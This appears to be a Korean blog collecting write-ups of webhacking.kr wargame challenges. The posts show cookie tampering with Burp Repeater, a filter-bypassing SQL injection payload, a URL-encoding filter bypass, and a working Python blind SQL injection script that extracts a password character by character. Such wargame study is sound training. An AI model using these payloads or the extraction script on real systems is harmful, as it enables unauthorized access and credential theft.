한번 클릭을 하면 HIT값이 1씩 오르고 두번째부터는 no라는 메시지와 함께 값이 오르지 않습니다.

맨 밑으로가서 join을 하면 자신의 계정의 이름이 하나 나오게 되고 해당 HIT값을 100이되면 성공하는 문제입니다.



쿠키값을 보면 vote_check 라는 것이 새로 생겼습니다.

해당 쿠키값을 통해서 HIT를 했는지 판단하고 있습니다.

이 값을 지우고 클릭을 하면 처음과 동일하게 HIT값이 오르는 것을 확인 할 수 있습니다.



하나씩 지우고 클릭해도 되지만 좀 더 편하게 burp suite의 Repeater기능을 이용해서 빠르게 해봤습니다.

이 기능으로 쿠키값이 생성되기 전에 패킷을 가지고 계속해서 HIT값을 늘릴 수 있습니다.





100이 되는 순간 문제가 해결되고, 101이 되면 사라지게 됩니다.


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 34  (0) 2018.12.06
[webhacking.kr] prob 33  (0) 2018.12.06
[webhacking.kr] prob 27  (0) 2018.12.05
[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 21  (0) 2018.12.05



1을 입력하면 guest가 나오게 되고, 2를 입력하면 query error가 나오게 됩니다.

짐작해보면 admin은 0아니면 2라고 생각해 볼 수 있습니다.



소스를 확인해보면 eregi()로 많은 문자열들을 필터링하고 있습니다.

select 부분에 no=($_GET[no]) 가 Injection Point라는 것을 확인합니다.


① eregi를 보니 '(' 는 필터링을 하지만 ')' 는 필터링을 하고 있지 않습니다.

② '#'과 '/'를 필터링 하지만 '--' 는 필터링 하지 않아 주석을 사용할 수 있습니다.

③ '='는 필터링 하지만 "like"는 필터링 하지 않아 등호를 사용할 수 있습니다.

④ 'or '를 필터링 하지 않습니다.


이를 토대로 2) or no like 2-- 를 사용해서 문제를 해결 할 수 있습니다.

(-- 사용 시 뒤에 문자열 1개 필요)

'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 33  (0) 2018.12.06
[webhacking.kr] prob 32  (0) 2018.12.05
[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 21  (0) 2018.12.05
[webhacking.kr] prob 20  (0) 2018.12.04

GET으로 id값을 "admin" 문자열을 보내면 성공하는 문제입니다.

하지만 eregi()가 "admin"을 필터링하고 있기 때문에 단순히 admin을 입력한다고 해결되지 않습니다.



여기서 주목할 점은 urldecode()함수가 있다는 것입니다.


admin이라는 문자열을 urlencoding하여 보내게 되면 문자열 자체는 admin으로 나타나지 않기 때문에 eregi()를 통과하게 되고

urldecode()함수로 원래 admin문자열이 만들어집니다.


단순히 admin을 urlencode를 하면 안되고 ASCII CODE표를 참고해서 만들어주면 됩니다.



'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 32  (0) 2018.12.05
[webhacking.kr] prob 27  (0) 2018.12.05
[webhacking.kr] prob 21  (0) 2018.12.05
[webhacking.kr] prob 20  (0) 2018.12.04
[webhacking.kr] prob 17  (0) 2018.12.04

Blind SQL Injection은 Query의 참/거짓을 통해 원하는 정보를 얻어내는 기법입니다.

해당 문제에서 친절하게 "Result"로 결과를 알려주고 있습니다.



해당 칸에 숫자 1을 입력해보니 True라는 값이 나옵니다.



2를 입력해도 True를 반환합니다.



3을 입력해보면 False라고 나오게 됩니다.

숫자를 입력해본 이유는 URL을 보게 되면 no라는 칼럼에 인자로 넘어가는 것을 통해서 숫자를 사용해야 한다고 짐작해 볼 수 있습니다.

Query를 예상해보면 

select * from table_name where no=3 이렇게 where절에서 조건으로 들어갈 것이라고 생각됩니다.



그렇다면 Fasle가 나왔던 3뒤에 or 1=1를 덧붙이게 되면 항상 참이 되므로 True를 반환하게 됩니다.

select * from table_name where no=3 or 1=1

이점을 이용해서 문제를 해결 할 수 있습니다.



우선 찾고자 하는 칼럼 이름에 대해 알아야 하는데 친절하게도 URL과 소스에서 찾을 수 있습니다.

소스를 보시면 id/pw가 hidden type으로 no와 함께 전송되는 것을 알 수 있습니다.



또 하나 생각해 볼 내용은 1과 2에서 True를 반환했다는 것은 두개의 값만 가지고 있다고 생각해 볼 수 있습니다.

우선 1에 대해 pw의 길이를 length() 함수를 통해서 구할 수 있습니다.



길이를 구했으면 해당 값을 하나씩 나눠서 구해야 합니다.

substr()과 ascii()를 이용해서 값을 하나씩 구할 수 있습니다.

substr(변수, 시작 인덱스, 길이) : 해당 변수를 시작 인덱스부터 정해진 길이까지만 반환

ascii() : 특정 문자를 ASCII CODE값으로 변환



다음 내용을 토대로 Python코드를 만들었습니다.

일일이 대입해서 풀 수 있지만 너무 오래 걸리기에 2진 탐색을 이용하여 풀었습니다.

 

1은 guest이었고, 2가 필요한 내용을 가지고 있었습니다.

또한 길이를 구하는 코드는 입력하지 않았습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
 
cookies = {'PHPSESSID':'YourSessionValue'}
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?"
 
password = ""
for i in range(1,20):       
    start = 1
    end   = 127
    while True:
        mid = int((start+end)/2)
 
        query = "no=2 and ascii(substr(pw,{0},1))>{1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            start = mid+1
            continue
 
        query = "no=2 and ascii(substr(pw,{0},1))<{1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            end = mid-1
            continue
 
 
        query = "no=2 and ascii(substr(pw,{0},1))={1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            password += chr(mid)
            break
 
print ("password : "+password)
cs

(함수로 만들 수 있겠지만... 지역변수/전역변수 문제로 포기..)


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 27  (0) 2018.12.05
[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 20  (0) 2018.12.04
[webhacking.kr] prob 17  (0) 2018.12.04
[webhacking.kr] prob 16  (0) 2018.12.04

2초안에 모든 칸을 채워서 Submit 버튼을 누르면 성공하는 문제입니다.

미리 채워 넣고 싶지만 code 부분은 매번 새로운 값으로 바뀌기 때문에 javascript를 이용해야 합니다.




소스를 봐서 각각의 태그의 이름을 확인합니다.


console창에서 javascript 코드를 이용해 해당 칸을 채우고 submit 버튼을 눌러야 합니다.

id, cmt값을 임의의 값으로 채우고, hack에는 attackme의 값으로 채워 넣습니다.

1
2
3
4
5
lv5frm.id.value='a'
lv5frm.cmt.value='a'
lv5frm.hack.value=lv5frm.attackme.value
lv5frm.submit()

cs




'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 21  (0) 2018.12.05
[webhacking.kr] prob 17  (0) 2018.12.04
[webhacking.kr] prob 16  (0) 2018.12.04
[webhacking.kr] prob 15  (0) 2018.12.04

javascript challenge 입니다.



소스를 보시면 unlock이라는 변수에 한번에 들어오지 않는 계산식이 보입니다.

해당 계산을 모두 마친 후에 input 태그에 입력하면 password가 나오게 됩니다.



'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 21  (0) 2018.12.05
[webhacking.kr] prob 20  (0) 2018.12.04
[webhacking.kr] prob 16  (0) 2018.12.04
[webhacking.kr] prob 15  (0) 2018.12.04
[webhacking.kr] prob 14  (0) 2018.12.04

wsad 키를 통해서 게임처럼 상하좌우로 움직일 수 있습니다.

또한 마우스를 통해서 지울 수 도 있습니다.



문제의 해답을 찾기 위해 소스를 확인해 보면 mv()함수를 통해서 상하좌우로 이동하는 것을 알 수 있습니다.

근데 cd==124가 입력되면 특정 페이지로 이동하는 코드가 적혀있습니다.


124는 ASCII CODE로 | 입니다. 해당 값을 누르게 되면 페이지를 이동하게 되고 password를 알려주게 됩니다.


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 20  (0) 2018.12.04
[webhacking.kr] prob 17  (0) 2018.12.04
[webhacking.kr] prob 15  (0) 2018.12.04
[webhacking.kr] prob 14  (0) 2018.12.04
[webhacking.kr] prob 12  (0) 2018.12.04

??? 해당 값으로 인증하면 풀립니다..

'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 17  (0) 2018.12.04
[webhacking.kr] prob 16  (0) 2018.12.04
[webhacking.kr] prob 14  (0) 2018.12.04
[webhacking.kr] prob 12  (0) 2018.12.04
[webhacking.kr] prob 11  (0) 2018.12.04

javascript challenge 입니다.



소스를 보시면 URL에서 .kr의 위치를 찾아 30을 곱한 값을 해당 input태그에 입력하면 성공하게 됩니다.




'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 16  (0) 2018.12.04
[webhacking.kr] prob 15  (0) 2018.12.04
[webhacking.kr] prob 12  (0) 2018.12.04
[webhacking.kr] prob 11  (0) 2018.12.04
[webhacking.kr] prob 10  (0) 2018.12.04

javascript challenge 입니다.

소스에 script 부문에 ASCII CODE로 되어있는 문자들이 많이 보이게 됩니다.

해당 부분을 복사해 콘솔로 가져가면 쉽게 원래 문자열을 얻을 수 있습니다.



ck는 URL에서 =을 찾은 후 =을 포함한 뒤에 문자열을 가져오게 됩니다.

결국 맨아래 if문에서 ck에 들어있는 값이랑 해당 값을 비교해서 동일하면 패스워드라고 알려줍니다.


간단하게 해당 부분을 console에 복사해 실행해보면 특정 문자열이 나오게 되고 해당 문자열을 URL의 넣어주면 성공하게 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var enco='';
var enco2=126;
var enco3=33;
var ck=document.URL.substr(document.URL.indexOf('='));
 
 
for(i=1;i<122;i++)
{
enco=enco+String.fromCharCode(i,0);
}
 
function enco_(x)
{
return enco.charCodeAt(x);
}
 
if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))
          +String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))
          +String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))
          +"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3))
{
alert("Password is "+ck.replace("=",""));
}
cs





FLAG AUTH에 값을 넣어주면 성공!


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 15  (0) 2018.12.04
[webhacking.kr] prob 14  (0) 2018.12.04
[webhacking.kr] prob 11  (0) 2018.12.04
[webhacking.kr] prob 10  (0) 2018.12.04
[webhacking.kr] prob 6  (0) 2018.12.04

+ Recent posts